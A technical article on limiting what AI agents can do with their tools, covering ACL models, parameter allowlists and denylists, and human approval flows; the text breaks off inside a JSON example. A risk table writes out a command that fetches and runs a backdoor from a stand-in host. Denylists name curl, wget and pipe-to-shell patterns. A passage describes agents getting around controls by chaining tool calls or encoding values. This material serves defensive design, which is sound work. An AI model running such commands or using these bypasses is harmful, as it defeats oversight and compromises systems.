Agent Tool Permission Control: Designing Tool ACLs, Approval Flows, and Least Privilege

30-Second Takeaway

  • Problem Solved: Sandboxes isolate the Agent's runtime environment, but tools inside the sandbox can still perform dangerous operations — dropping databases, modifying production configs, calling paid APIs. Tool permission control is the second line of defense inside the sandbox.
  • Core Method: Three pillars — Tool ACL (define who can use which tools), Approval Flow (high-risk operations require human confirmation), Least Privilege (Agent only gets the tools strictly necessary for the task).
  • Key Insight: Start with RBAC (Role-Based Access Control), layer on ABAC (Attribute-Based Access Control) for production. Don't try to solve everything with one model — layered composition is the right path.
  • What You'll Gain: A blueprint for designing a tool permission model for your Agent system, from role definitions and tool mappings to approval flow trigger conditions.

1. Why Tool Permissions Matter

Imagine this scenario: your team deploys an internal ops Agent that can execute shell commands, operate databases, and manage cloud resources. One Friday afternoon, a colleague types in Slack —

"Agent, clean up last week's temporary data from the test environment for me."

The Agent receives the instruction and starts working. Thirty seconds later, the orders table in the production database vanishes.

The Agent wasn't malicious. It simply did something technically entirely reasonable: after receiving the "clean up temporary data" instruction, it searched all connectable data sources, found a table named orders_backup_test — which looked like test data — and executed DROP TABLE. The problem was that this table happened to be partially referenced by a materialized view in the production environment. The Agent didn't know, and it shouldn't be expected to know — it simply chose, from the set of tools it was granted, the one that could technically achieve the goal.

This scenario isn't fictional. Multiple Agent platforms experienced similar incidents during early trial runs in 2025: Agents were given a "master key" — full-access permissions to all tools — and then, lacking contextual judgment, chose the most destructive path available.

Sandboxes Isolate the Runtime — But What About the Tools Inside?

In the previous article on code sandbox design, we established a five-layer boundary architecture to isolate the Agent's runtime environment. The sandbox ensures the Agent cannot access the host filesystem, cannot escape to external networks, and cannot steal host credentials. But sandboxes solve external threats — threats the Agent poses to the host.

Sandboxes do not solve internal threats — what the Agent can do within its authorized boundaries. A correctly configured sandbox still allows the Agent to:

All of these are behaviors the sandbox allows — because they occur on resources the sandbox is authorized to access. The problem isn't that the Agent breached the sandbox boundary, but that there aren't enough constraints inside the boundary.

This is exactly what tool permission control addresses: how to let the Agent use the tools it needs to complete its work, while preventing it from touching tools it shouldn't — or at least making it pause and ask "are you sure?" before attempting dangerous operations.

Three Pillars: ACL, Approval Flow, Least Privilege

Tool permission control isn't a single mechanism — it's three mutually reinforcing strategies:

  1. Tool ACL (Access Control List): Defines which Agent (or Agent role) can invoke which tool. This is a whitelist of "what you can do."
  2. Approval Flow: For high-risk operations (deletion, production data modification, large-scale invocations), execution is paused and human confirmation is requested. This is the safety valve of "think twice."
  3. Least Privilege: The Agent receives only the minimum set of tool permissions necessary for the current task. Not "give it all tools and hope it exercises restraint," but "give it only what this task needs, and revoke when done." This is the philosophy of "just enough."

The relationship between the three pillars is layered: ACL defines the static boundary of "what you can do"; Approval Flow sets dynamic checkpoints for high-risk operations within that boundary; Least Privilege ensures that at the start of every task, the Agent's permissions begin at zero and are granted on demand. None of the three is optional.

LLMs Are Not "Intentional Programmers"

Understanding why tool permission control is necessary also requires grasping a fundamental fact: LLMs have no malice when selecting tools, but they also have no sense of responsibility. They won't instinctively think twice before executing DROP TABLE the way a human engineer would. Their decision logic goes —

"User asked to clean up data → What tools can clean up data? → delete_records, drop_table, truncate_dbdrop_table looks most thorough → Execute."

This chain of logic is entirely reasonable — except it's missing one critical link: "What is the blast radius of this operation? Do I need to confirm?"

The essence of tool permission control is to encode this missing link into the system. Not by pleading with the Agent in prompts to think twice, but through technical enforcement: if a tool isn't in the ACL, the Agent doesn't even know it exists; if an operation triggers an approval flow threshold, the Agent must wait for approval before proceeding.

In the next article on Agent tool design, we discuss in detail how to declare tools as structured function schemas. Tool permission control is built directly on top of these schemas: each tool's schema not only describes what it does, but also marks its risk level and required permissions — the foundation upon which ACL and approval flow can operate.

2. The Permission Model Landscape: RBAC, ABAC, and ReBAC Compared for Agent Use Cases

With a clear understanding of why this matters, we need a framework for how to design it. Academia and industry have three mature access control models. Each performs differently in the context of Agent tool control.

RBAC: Role-Based Access Control

RBAC (Role-Based Access Control) is the most intuitive model. You define a set of roles, each mapped to a set of tool permissions. An Agent is assigned a role and thereby inherits all the tools associated with that role.

In the Agent context, a typical RBAC configuration might look like:

RoleCallable ToolsTypical Tasks
code-agentread_file, write_file, execute_command, search_codeCode generation, refactoring, bug fixes
data-analystquery_db, export_csv, generate_chartData queries, report generation
devops-agentdeploy_service, restart_container, check_logs, scale_replicasDeployment, operations, troubleshooting
adminAll tools (including drop_table, delete_backup, modify_iam)Administrative operations requiring full access

RBAC Advantages:

RBAC Limitations:

ABAC: Attribute-Based Access Control

ABAC (Attribute-Based Access Control) upgrades the decision from "who are you?" (role) to "under what conditions?" (attributes). Instead of asking "is this Agent a code-agent?", it asks: "Who is the current user? Is the session authenticated? What time is it? Which project does this task belong to? How many times has this tool been called before?"

At ABAC's core is a policy engine that evaluates a set of attributes and returns allow / deny / ask_for_approval. In the Agent tool control context, typical attribute dimensions include:

Attribute CategoryExample AttributesTypical Rule
Subject AttributesUser identity, user role, authentication method, trust level"Agent may execute deploy operations only when the user has authenticated via MFA"
Session AttributesSession ID, session start time, task source (Slack/API/Web)"Sessions initiated via Slack may not execute DROP operations"
Environment AttributesCurrent time, date, target environment (staging/production)"Write operations on production are limited to business hours (9:00–18:00)"
Resource AttributesTarget database name, table name, file path, API endpoint"Database tables prefixed with prod_ may not be directly deleted"
Behavior AttributesTool invocation frequency, cumulative count of similar operations, historical approval rate"If the same Agent calls send_email more than 10 times in 5 minutes → trigger approval"

ABAC Advantages:

ABAC Limitations:

ReBAC: Relationship-Based Access Control

ReBAC (Relationship-Based Access Control) grounds permissions in the relationships between the Agent and resources. It doesn't care about the Agent's role or attributes — it only cares about one core question: does this Agent have a sufficient relationship with this resource to justify this operation?

In the Agent context, ReBAC's most typical application is ownership checking: an Agent can only modify files it created, only query tasks it started, only close connections it opened.

Google Zanzibar is the best-known ReBAC implementation — Google Drive, YouTube, and Google Photos all use it to manage billions of permission relationships. A simplified Agent-ReBAC relationship graph might look like:

# Agent-Resource relationship definitions (Zanzibar-like syntax)
definition agent_session:
  relation owner: user
  relation parent: task
  permission read = owner + parent->read
  permission write = owner
  permission delete = owner

definition task:
  relation creator: agent_session
  relation project: project
  permission read = creator + project->member
  permission execute = creator + project->admin
  permission cancel = creator + project->admin

definition project:
  relation admin: user
  relation member: user
  permission read = admin + member
  permission deploy = admin

ReBAC Advantages:

ReBAC Limitations:

Three-Model Comparison

The following table compares RBAC, ABAC, and ReBAC across six dimensions relevant to Agent tool control:

DimensionRBACABACReBAC
Core MechanismRole → Tool set mappingAttribute conditions → Policy evaluationAgent-Resource relationship graph
GranularityRole level (coarse)Attribute level (fine, down to single invocation)Relationship level (medium-fine)
Context AwarenessNone (static)Strong (time, source, environment, etc.)Medium (resource ownership, collaboration relationships)
Implementation ComplexityLow (if-else suffices)Medium-High (requires policy engine)High (requires relationship graph + permission expansion)
Debug/Audit DifficultyLow (role-tool mapping is transparent)Medium-High (must trace policy evaluation chain)Medium (must trace relationship chain)
Suitable Agent ScenariosAgents with clear functional boundaries (code, data, ops)Production Agents requiring time/environment/source awarenessMulti-Agent collaboration, resource-ownership-sensitive scenarios
Typical Denial Reason"Your role is not authorized to use this tool""Current conditions not met: off-hours + production environment""You do not own this resource and have no collaboration relationship"

Practical Advice: Start with RBAC, Layer on ABAC

The three models are not mutually exclusive — they are complementary. In production, you should not try to solve everything with a single model. The recommended path is:

  1. Layer 1: RBAC as foundation. Assign a role to each Agent, defining the role's basic tool set. This is the "static security baseline" — the Agent can never reach tools outside its role scope. Implementation is simple: tools declare their role at registration time, and the framework filters before tool distribution.
  2. Layer 2: ABAC layered on top. On top of Layer 1, apply further dynamic constraints to tools within a role. For example: the code-agent role can invoke the execute_command tool, but ABAC policy dictates — if the command contains dangerous keywords like rm -rf, DROP, DELETE, or if the target path matches /production/*, then trigger the approval flow.
  3. Layer 3 (optional): ReBAC as supplement. If your scenario involves multi-Agent collaboration or has explicit resource ownership requirements, introduce ReBAC to handle relationship-sensitive permission decisions.

The benefit of this layered architecture is that it's incremental: you don't need to build a complete ABAC policy engine + ReBAC relationship graph on day one. You can start with RBAC, and when business needs emerge (e.g., "we need to restrict nighttime production deployments"), layer on ABAC policies to cover those scenarios.

Even more importantly, the handoff to approval flow: regardless of which permission model you use, when a permission check returns an intermediate state — "uncertain, needs human review" — the system should trigger the approval flow. The design of approval flows will be detailed in subsequent sections, but the core principle is: no permission model is 100% accurate. Keeping a human confirmation channel for the "gray zone" is the final safety net of tool permission control.

Series Connections

3. Designing the Tool ACL

In the previous article on Agent tool design, we defined the tool interface—each tool has a name, parameter schema, description, and risk level. The tool interface defines "what the tool can do"—its functional boundary. The Tool ACL defines "who (or which Agent) can invoke this tool"—its access boundary. The two are orthogonal: the same tool can have multiple users, the same user can access multiple tools, but each user's tool set is strictly bounded by the ACL.

What Is a Tool ACL

A Tool ACL (Tool Access Control List) is a four-tuple: {Subject, Action, Object, Conditions}—borrowed from the classic subject-action-object framework in access control theory.

ACL Structure Example

A typical Tool ACL configuration can be expressed as a JSON structure. Below is the ACL definition for a code_reviewer role:

{
  "agent_role": "code_reviewer",
  "allow": [
    {"tool": "file_read", "params": {"path": "/workspace/**"}},
    {"tool": "git_diff", "params": {}}
  ],
  "deny": [
    {"tool": "file_delete", "params": {}}
  ]
}

The meaning of this configuration is:

The Default-Deny Principle

In security design, there is a fundamental choice: default-allow or default-deny?

Default-allow means: the Agent can invoke any registered tool unless the ACL explicitly forbids it. This pattern seems convenient—you don't need to write ACL entries for every harmless tool—but it is essentially betting that "the Agent won't abuse the tools you haven't thought about." In a real system with tools like file_delete, drop_table, and send_email, the stakes of this bet are unreasonably high.

Default-Deny means: the Agent cannot invoke any tool unless the ACL explicitly allows it. This is one of the golden rules of security engineering. Every time you add a new tool to an Agent, you must explicitly decide which roles or Agents may use it. This decision cost is a form of security tension—it forces you to consider the exposure surface of every tool you introduce.

At the implementation level, Default-Deny is also very simple: the ACL check logic has a DENY fallthrough as the default return value. Only when a matching entry is found in the allow list—and no entry in the deny list is triggered—does it return ALLOW.

Tool Risk Categorization

Not all tools carry the same risk level. Before applying the ACL, we first need to categorize tools by risk—this directly corresponds to the risk_level field mentioned in the previous tool design article:

Risk LevelTypical ToolsDefault ACL PolicyApproval Required?
read-onlyfile_read, search_code, query_db, check_logsDefault-allow for all roles (overridable)Not required
read-writefile_write, git_commit, export_csv, update_recordExplicitly granted per roleWrite operations generally don't require approval, except when targeting production resources
admindeploy_service, restart_container, scale_replicas, modify_configRestricted to admin/senior-devopsHuman approval required (mandatory for production, optional for non-production)
dangerousfile_delete, drop_table, truncate_db, delete_backup, modify_iam, execute_raw_sqlDefault-deny for all roles; each entry requires explicit approvalMandatory approval, with two-person rule

These four risk levels form the first filtering layer of ACL policy. When configuring ACLs, you don't need to make individual decisions for every tool—the risk level provides a default policy, and you only need to handle exceptions.

ACL Granularity: From Tool-Level to Resource-Level

Tool ACL granularity is not one-size-fits-all. Depending on your organization's security requirements, ACLs can operate at three levels of granularity:

Level 1: Tool-Level—the simplest form. The ACL only cares about "can the Agent invoke this tool?" For example: "data-analyst may use query_db." This is where most systems start; the implementation cost is negligible.

Level 2: Parameter-Level—building on tool-level, the ACL further constrains parameter values. For example: "data-analyst may use query_db, but the query parameter must not contain DROP, DELETE, or TRUNCATE keywords." This is where ABAC begins to play a role—parameter inspection is not done at role registration time, but dynamically evaluated by a policy engine on every invocation.

Level 3: Resource-Level—the finest granularity. The ACL constrains the target resource of the operation. For example: "code-agent may use file_write, but only within the /workspace/{agent_id}/ directory." Or: "devops-agent may use deploy_service, but only for services tagged env:staging." This is where ReBAC naturally shines—permissions are tied to resource relationships.

The progression across the three levels is: Tool-Level → Parameter-Level → Resource-Level. Each successive level is a refinement of the previous one. In practice, most teams start at the tool level and progressively drill down to finer granularity as specific business needs arise.

Connecting to Agent Tool Design

Tool ACLs are not designed in a vacuum. They are the companion piece to Agent Tool Design:

A complete tool registration process therefore consists of two steps:

  1. Declare the tool: Define the tool's name, description, parameters, and risk_level. This step answers: "What does this tool do?"
  2. Bind the ACL: Map the tool to roles in the ACL configuration, adding parameter and resource constraints. This step answers: "Who can use it? And how?"

No matter how well-designed the tool is, without a matching ACL, it's like a well-designed API without an authentication mechanism—anyone can call any endpoint. Conversely, no matter how tightly defined the ACL, if the tool itself lacks risk-level markings and structured schemas, the ACL cannot enforce parameter-level and resource-level fine-grained controls.

In the next article on Approval Flow Design, we will see how ACL decisions interface with the approval flow—when the ACL returns ALLOW, the tool executes directly; when it returns DENY, the invocation is blocked; and when it returns ASK_APPROVAL, the human approval process is triggered.

4. Parameter-Level Access Control

In Section 3, we distinguished three granularity levels for ACLs: tool-level, parameter-level, and resource-level. Tool-level is the coarsest—it only answers "can the Agent invoke this tool?" But many security requirements cannot be satisfied with this binary switch.

Consider a real scenario: your code-agent needs to call file_write to save generated code files. A tool-level ACL only lets you say "code-agent can use file_write"—which means it can write to any path, including /etc/nginx/nginx.conf and /home/user/.ssh/authorized_keys. What you actually want to say is: "code-agent can use file_write, but only to /workspace/, and never to /etc/ or /home/."

This is exactly what parameter-level access control addresses: within an allowed tool, impose constraints on parameter values. It does not replace tool-level ACLs—it adds a finer-grained layer on top of them.

Beyond Tool-Level: Why Parameter Constraints Are Essential

Tool-level ACLs have a fundamental limitation: they treat a tool as an indivisible permission unit. But most tools are parameterized—the same tool, different parameter values, vastly different risk profiles. Here are some typical examples:

ToolLow-Risk ParametersHigh-Risk ParametersRisk Gap
file_writepath=/workspace/output.pypath=/etc/passwdAgent can overwrite critical system files
http_requesturl=https://api.internal.company.com/dataurl=https://raw.githubusercontent.com/evil/malware.shAgent may download and execute malicious scripts
shell_execcmd=ls -la /workspace/cmd=rm -rf /workspace/; curl evil.com/backdoor | bashCommand injection + reverse shell
query_dbsql=SELECT * FROM users LIMIT 10sql=DROP TABLE users; --Data destruction (potentially LLM-generated unintentionally)

If you rely solely on tool-level ACLs, then once shell_exec is granted to an Agent, that Agent can execute any shell command. That's not permission management—that's gambling. Parameter-level control lets you precisely delineate a tool's capability boundary rather than toggling the entire tool on or off.

The Parameter Validation Pipeline: Pre-Execution Hooks

The implementation core of parameter-level access control is a Parameter Validation Pipeline—before a tool actually executes, a series of hooks inspect the call parameters in sequence; any single hook's rejection blocks execution. The pipeline workflow is as follows:

# Parameter Validation Pipeline Flow
Agent initiates tool call
  │
  ▼
┌─────────────────────────┐
│ 1. Extract Parameters   │  Extract actual parameter values from tool_call
│    path="/etc/passwd"   │
└───────────┬─────────────┘
            ▼
┌─────────────────────────┐
│ 2. Type & Format Check  │  Do parameters match schema types?
│    path is string ✓     │
└───────────┬─────────────┘
            ▼
┌─────────────────────────┐
│ 3. Allowlist Check      │  Is parameter value in the allowed list?
│    path ∈ /workspace/** │  → /etc/passwd does not match → proceed
│    No match ✗           │
└───────────┬─────────────┘
            ▼
┌─────────────────────────┐
│ 4. Denylist Check       │  Is parameter value in the blocked list?
│    path ∈ /etc/**       │  → /etc/passwd matches → DENY
│    Match ✓ → DENY       │
└───────────┬─────────────┘
            ▼
┌─────────────────────────┐
│ 5. Regex / Custom Check │  If additional validation rules are configured
│    (e.g., SQL keyword   │
│     scanning)           │
└───────────┬─────────────┘
            ▼
       ALLOW / DENY / ASK_APPROVAL

Key design principle: allowlist is evaluated before denylist. If a parameter value appears in neither the allowlist nor the denylist, the default-deny principle requires rejection. The allowlist defines the "permitted domain"; the denylist further carves out dangerous zones within that domain.

Matching Patterns: Regex, Allowlists, Denylists

Parameter constraints use three core matching forms:

1. Glob Pattern Matching (Path-type Parameters)—best suited for file paths and directory constraints. Glob syntax is concise, human-readable, and covers the vast majority of path control needs:

2. Regular Expressions (General Parameters)—best suited for constraining structured string parameters like URLs, commands, and SQL:

3. Value Enumeration (Discrete Parameters)—best suited for parameters with a finite set of values, such as environment selection or operation types:

In real configurations, these three patterns are typically combined. Below is a complete parameter-level ACL configuration example, as an extension of the tool-level ACL:

{
  "agent_role": "code_agent",
  "allow": [
    {
      "tool": "file_write",
      "params": {
        "path": {
          "allowlist": ["/workspace/**", "/tmp/agent-*"],
          "denylist": ["/workspace/.git/**", "/workspace/.env*"]
        }
      }
    },
    {
      "tool": "http_request",
      "params": {
        "url": {
          "allowlist_regex": [
            "^https://api\\.internal\\.company\\.com/.*$",
            "^https://registry\\.npmjs\\.org/.*$",
            "^https://pypi\\.org/.*$"
          ],
          "denylist_regex": [
            ".*://raw\\.githubusercontent\\.com/.*\\.sh$"
          ]
        }
      }
    },
    {
      "tool": "shell_exec",
      "params": {
        "cmd": {
          "denylist_keywords": ["rm -rf", "DROP", "DELETE", "TRUNCATE", "curl", "wget", "eval"],
          "denylist_regex": [".*\\|\\s*(ba)?sh$", ".*>\\s*/dev/.*"]
        },
        "cwd": {
          "allowlist": ["/workspace/**"]
        }
      }
    },
    {
      "tool": "database_query",
      "params": {
        "sql": {
          "allowlist_regex": ["^(SELECT|SHOW|DESCRIBE|EXPLAIN)\\s.*"],
          "denylist_keywords": ["DROP", "DELETE", "TRUNCATE", "ALTER", "GRANT", "REVOKE"]
        },
        "database": {
          "allowlist": ["analytics", "reports", "staging_*"],
          "denylist": ["production", "prod_*", "financials"]
        }
      }
    }
  ],
  "deny": [
    {"tool": "file_delete", "reason": "code_agent role has no deletion permissions whatsoever"}
  ]
}

Every parameter constraint in this configuration maps directly to a real security threat scenario. For example, http_request's denylist_regex prevents the Agent from downloading shell scripts from raw.githubusercontent.com—a common attack vector where malicious code is distributed through GitHub's raw file endpoint. Similarly, shell_exec's denylist_keywords block command injection and reverse shell pipes.

Implementation Architecture for Parameter-Level Control

Where should the parameter validation pipeline be embedded in the Agent framework's call chain? The recommended architecture places validation logic in the framework's tool dispatch layer—after the Agent selects a tool, before the framework executes it. This placement choice has several rationales:

  1. Transparent to the Agent. The Agent does not know its parameters are being inspected. If validation passes, the tool executes normally; if rejected, the Agent receives a structured error (e.g., PermissionDenied: path '/etc/passwd' not in allowlist) rather than a raw tool return value. The Agent can adjust its behavior based on this error—for example, asking the user to provide an alternative path.
  2. Co-located with ACL checks. Tool-level ACL and parameter-level validation should happen at the same decision point, avoiding scattered check logic that could lead to bypasses. A unified PermissionEvaluator component handles both tool-level and parameter-level permission decisions simultaneously.
  3. Unbypassable. If validation logic lives inside individual tool implementations, every tool author must remember to implement it—unreliable. Placing it in the framework dispatch layer means parameter validation is enforced regardless of how the tool is implemented.

Below is a simplified implementation of the parameter validation pipeline (Python pseudocode):

import re
import fnmatch
from typing import Any, Dict, List

class ParamValidator:
    """Parameter-level access control validator"""

    def __init__(self, param_rules: Dict[str, Any]):
        self.rules = param_rules  # params section from ACL config

    def validate(self, tool_name: str, params: Dict[str, Any]) -> bool:
        """Validate tool call parameters against constraints. Returns True if passed."""
        tool_rules = self.rules.get(tool_name, {})
        if not tool_rules:
            return True  # No parameter constraints → pass

        for param_name, constraints in tool_rules.items():
            value = params.get(param_name)
            if value is None:
                continue  # Optional parameter not provided, skip

            if not self._check_allowlist(value, constraints):
                return False
            if not self._check_denylist(value, constraints):
                return False
            if not self._check_regex(value, constraints):
                return False

        return True

    def _check_allowlist(self, value: str, constraints: dict) -> bool:
        allowlist = constraints.get("allowlist", [])
        if not allowlist:
            return True  # No allowlist → pass this check
        for pattern in allowlist:
            if fnmatch.fnmatch(value, pattern):
                return True  # Match found → pass
        return False  # No allowlist match → deny

    def _check_denylist(self, value: str, constraints: dict) -> bool:
        denylist = constraints.get("denylist", [])
        for pattern in denylist:
            if fnmatch.fnmatch(value, pattern):
                return False  # Matched denylist → deny
        # Keyword check
        for keyword in constraints.get("denylist_keywords", []):
            if keyword.lower() in value.lower():
                return False  # Contains dangerous keyword → deny
        return True

    def _check_regex(self, value: str, constraints: dict) -> bool:
        for pattern in constraints.get("allowlist_regex", []):
            if not re.match(pattern, value):
                return False  # Doesn't match allowed regex → deny
        for pattern in constraints.get("denylist_regex", []):
            if re.search(pattern, value):
                return False  # Matches blocked regex → deny
        return True


# Integrated into the tool's pre-execution hook
class ToolExecutor:
    def __init__(self, acl_config: dict):
        self.validator = ParamValidator(acl_config)

    def execute(self, agent_role: str, tool_name: str, params: dict):
        # Step 1: Tool-level ACL check
        if not self._tool_level_check(agent_role, tool_name):
            raise PermissionError(f"Role {agent_role} is not authorized to call {tool_name}")

        # Step 2: Parameter-level validation
        if not self.validator.validate(tool_name, params):
            raise PermissionError(
                f"Parameter validation failed: {tool_name} call parameters violate ACL constraints"
            )

        # Step 3: Execute the tool
        return self._dispatch(tool_name, params)

Pitfalls and Best Practices in Parameter-Level Control

Parameter-level access control is powerful, but there are several traps to watch out for:

1. Don't rely on denylists alone. Denylists (blocklists) are a repeatedly proven unreliable security strategy. Attackers always find variants—you block rm -rf, they use rm -r -f or find . -delete. You block curl, they use wget or python -c "import urllib.request". Parameter-level ACLs must use allowlists to define the positive permitted space. Denylists merely filter out known high-risk patterns within that space.

2. Consider encoding bypasses. Parameter values output by LLMs may be encoded. For example, an Agent could output path=/etc/p\x61sswd (hex encoding) or url=https://api.internal.company.com%40evil.com (URL encoding obfuscation). The parameter validator should perform checks on decoded values, not raw strings.

3. Watch out for LLM "creative bypasses." LLMs can exhibit surprising "creativity" when faced with constraints. If your ACL blocks file_write from writing to /etc/, the Agent might first write to /tmp/evil.conf, then invoke shell_exec to run mv /tmp/evil.conf /etc/nginx/nginx.conf. This is known as tool-chaining bypass—individual tool calls all pass ACL checks, but combined they achieve the prohibited goal. Defending against this requires cross-call contextual analysis (covered in later articles); parameter-level control is the first line of defense.

4. Error messages must not leak excessive information. When parameter validation fails, the error message returned to the Agent should be specific enough for the Agent to correct its behavior (e.g., "path is not within allowed range"), but must not reveal the ACL's specific rules (e.g., "allowed path pattern is /workspace/**"—this tells a potential attacker exactly where the boundary lies). In production, consider using generic error messages with detailed diagnostics available only to trusted sessions.

Parameter-Level Control and Its Relationship to ABAC

Parameter-level access control is ABAC's most direct application in the Agent tooling context. Recall from Section 2 the five ABAC attribute categories—subject, session, environment, resource, behavior—parameter-level control primarily acts on resource attributes and behavior attributes:

But parameter-level control can be further combined with the remaining attribute categories. For example, the same file_write tool can have its parameter constraints dynamically adjusted based on environment attributes—allowing writes to a broader set of paths during business hours, tightening restrictions outside business hours. This kind of dynamic policy is exactly the core value of an ABAC policy engine.

From an implementation pathway perspective, parameter-level ACL configuration is the critical bridge for realizing the "start with RBAC, layer on ABAC" strategy introduced in Section 2. When you discover that tool-level ACLs aren't fine-grained enough, you don't need to immediately introduce a full ABAC policy engine—you only need to add params constraint blocks to the existing ACL configuration. When even these static constraints prove insufficient (e.g., needing dynamic decisions based on "business hours vs. off-hours"), then introduce the ABAC policy engine to handle attribute conditions.

5. Approval Flows: Human-in-the-Loop

In the preceding sections, we discussed using ACLs to define "what an Agent can do" and parameter-level controls to constrain "how an Agent does it." The core logic of these mechanisms is automated decision-making — the system autonomously decides to allow or deny a tool invocation based on pre-defined rules.

But automated decision-making has an insurmountable boundary: some decisions cannot and should not be made by machines alone. When an operation could cause irreversible consequences — deleting production data, modifying IAM permissions, sending emails to thousands of users — you need a human to look at it and click "approve" or "deny."

This is exactly where Approval Flows come in. They are the last safety net in the tool permission control system — when neither ACLs nor parameter validation can produce a clear allow/deny verdict, approval flows return the decision authority to humans.

When Approval Is Required

Approval is not a case of "more is better." If you require approval for every file_read, the Agent's user experience drops to zero — nobody wants to sit in front of a screen clicking "approve" nonstop. The value of approval lies in precisely identifying high-risk operations that machines cannot autonomously judge.

Here are three scenarios where approval must be triggered:

1. Destructive Operations

Any operation that causes irreversible data loss or irreversible system changes must undergo human confirmation. This includes but is not limited to:

Destructive operations share a common criterion: after the operation completes, there is no way to "undo" back to the pre-operation state. If the Agent creates a file, you can delete it — that's reversible. If the Agent deletes a file with no backup — that's irreversible. The core objective of approval flows is to insert a human checkpoint before an irreversible operation executes.

2. External API Calls

When an Agent's tool invocation involves external systems — especially calls that produce side effects or incur costs — approval provides an additional layer of protection:

The risk with external API calls is that the Agent may underestimate the call's blast radius. It treats "send an email" as a simple API call, but that API's recipient list might contain 10,000 customers. Approval flows display the recipient count, estimated cost, and impact scope before execution, letting a human make the final judgment.

3. Sensitive Data Access

Certain data should trigger approval even for read-only operations — not because reading is destructive, but because the data's sensitivity demands that every access be recorded and authorized:

In these scenarios, the purpose of approval is not to prevent damage, but to establish an audit trail — who, at what time, for what task, accessed what sensitive data. Under many compliance frameworks (SOC 2, ISO 27001, HIPAA), every access to sensitive data requires an auditable record. Approval flows naturally produce such records.

Approval Architecture: Agent Proposes → System Evaluates Risk → Human Approves/Rejects

An approval flow is not simply a "pop up a dialog and ask the user." A well-designed approval architecture consists of three phases, each with a clearly defined responsibility boundary:

┌─────────────────────────────────────────────────────┐
│               Approval Flow: Three-Phase Architecture        │
├─────────────────────────────────────────────────────┤
│                                                     │
│  Phase 1: Agent Proposal                            │
│  ┌───────────────────────────────────────────┐     │
│  │ Agent decides to invoke a tool, generating │     │
│  │ a complete call plan including: tool name, │     │
│  │ parameters, and rationale (why needed)     │     │
│  └──────────────────┬────────────────────────┘     │
│                     ▼                                │
│  Phase 2: System Risk Evaluation                   │
│  ┌───────────────────────────────────────────┐     │
│  │ Policy engine evaluates:                    │     │
│  │  · What is the tool's risk_level?           │     │
│  │  · Do parameters match high-risk patterns?  │     │
│  │  · Current context (time, user, environment)│     │
│  │  · Historical behavior (has this Agent      │     │
│  │    triggered frequent approvals recently?)  │     │
│  │                                              │     │
│  │ Evaluation result: auto-approve / notify /  │     │
│  │                    require-approval / block  │     │
│  └──────────────────┬────────────────────────┘     │
│                     ▼                                │
│  Phase 3: Human Approve/Reject                     │
│  ┌───────────────────────────────────────────┐     │
│  │ Approval interface displays:               │     │
│  │  · What the Agent wants to do (NL summary) │     │
│  │  · Specific parameters (tool, values)      │     │
│  │  · Risk evaluation result and rationale    │     │
│  │  · Potential blast radius (affected rows /  │     │
│  │    users / cost)                           │     │
│  │                                              │     │
│  │ Approver chooses: [Approve] [Reject]         │     │
│  │                   [Modify & Approve]          │     │
│  └───────────────────────────────────────────┘     │
│                                                     │
└─────────────────────────────────────────────────────┘

The key design decision in this three-phase architecture is phase separation: the Agent is responsible for "what I want to do," the system is responsible for "how dangerous is this," and the human is responsible for "yes or no." The Agent does not participate in risk evaluation (avoiding the risk of it downplaying danger), the system does not participate in the final decision (avoiding overreach to replace human judgment), and the human does not participate in proposing (avoiding the need to manually construct tool invocations).

Approval Levels: A Four-Tier Risk Response System

Not every operation that warrants attention should block Agent execution. Approval should respond in tiers based on risk level — low-risk operations pass automatically, medium-risk operations notify without blocking, high-risk operations require confirmation, and extreme-risk operations are blocked outright. Here is the four-tier approval classification system:

Approval LevelTrigger ConditionsSystem BehaviorAgent ExperienceTypical Scenarios
auto-approve Tool risk_level = read-only; parameters within allowlist; business hours; non-sensitive resources Execute directly, no notification to anyone Unaware — invocation completes instantly file_read /workspace/, search_code, query_db (read-only)
notify-only Tool risk_level = read-write but target is non-production; sending email with ≤ 5 recipients; off-hours but non-destructive operation Execute immediately; simultaneously send notification to designated channel (Slack/Teams/WeCom) No blocking, but operation is logged and notified Deploying to staging, modifying staging config, sending internal test emails
require-approval Tool risk_level ≥ admin; target is production; estimated cost exceeds threshold; sensitive data access; off-hours + high-risk operation Pause Agent execution; send approval request (with full context) to approver; await approve/reject Execution interrupted; sees "awaiting approval" status; auto-resumes on approval; receives reason on rejection and adjusts strategy Production deployment, dropping database tables, sending bulk emails, modifying IAM permissions
block Tool in ACL deny list; parameters match hard-coded dangerous patterns; attempting to access explicitly forbidden resources (e.g., /etc/shadow) Reject outright, offer no approval option; log security event; optionally trigger alert Receives explicit rejection error; operation cannot proceed; must replan or request user intervention rm -rf /, DROP TABLE users (production DB), downloading and executing scripts from external URLs

Why do we need the notify-only intermediate level?

Inserting notify-only between auto-approve and require-approval is based on operational experience. Many operations fall into a gray zone — they aren't entirely harmless (they're worth recording), but blocking them would severely degrade Agent productivity.

For example, when the Agent deploys to the staging environment — you want to know it happened (notification), but you don't want to require someone to stand by and click "approve" for every deployment. If the staging deployment goes wrong, you can trace back via the notification to when and with what parameters the Agent executed the deployment. If everything is fine, the notification is simply a quiet log entry.

Another value of notify-only is the "security observation period." When you first configure tool permissions for an Agent role, you can set certain operations to notify-only and observe how the Agent uses these tools in real tasks. If the Agent's usage patterns are reasonable, you can later downgrade to auto-approve. If the Agent exhibits unexpected behavioral patterns, upgrade to require-approval.

Timeout and Escalation Mechanisms

Introducing approval flows raises a new problem: what if the approver is unavailable? The Agent pauses execution, waiting for a human response. If that person's Slack is muted, their phone is dead, or they're in a meeting — the Agent is stuck. And unlike a CI pipeline that can wait for hours, Agent sessions typically expect responses within seconds to minutes.

This is exactly what timeout and escalation mechanisms address: when the primary approver is unavailable, how the system gracefully handles waiting, how it escalates the approval request to others, and how it makes a safe default decision after timeout.

Timeout Strategy

Timeout TierWait TimeTriggered ActionApplicable Scenarios
T1: First Reminder2 minutesSend reminder to primary approver (Slack DM / SMS)All require-approval operations
T2: Escalate to Backup5 minutesBroadcast approval request to team's backup approver list (e.g., on-call engineers)Production operations, operations involving user data
T3: Escalate to Manager15 minutesEscalate approval request to team lead / duty managerOperations with financial impact or security policy changes
T4: Auto-Timeout30 minutesAuto-deny (default-safe policy); log timeout event; notify Agent that task cannot proceedAll operations (safe default: timeout = deny)

Escalation path design principles:

Agent-Side Timeout Handling

When an approval times out, the Agent does not receive silence — it receives a structured timeout event. The Agent must be able to understand and adapt to this state:

{
  "event": "approval_timeout",
  "tool_call": {
    "tool": "deploy_service",
    "params": {"service": "user-api", "environment": "production"}
  },
  "timeout_details": {
    "level": "T4",
    "waited_seconds": 1800,
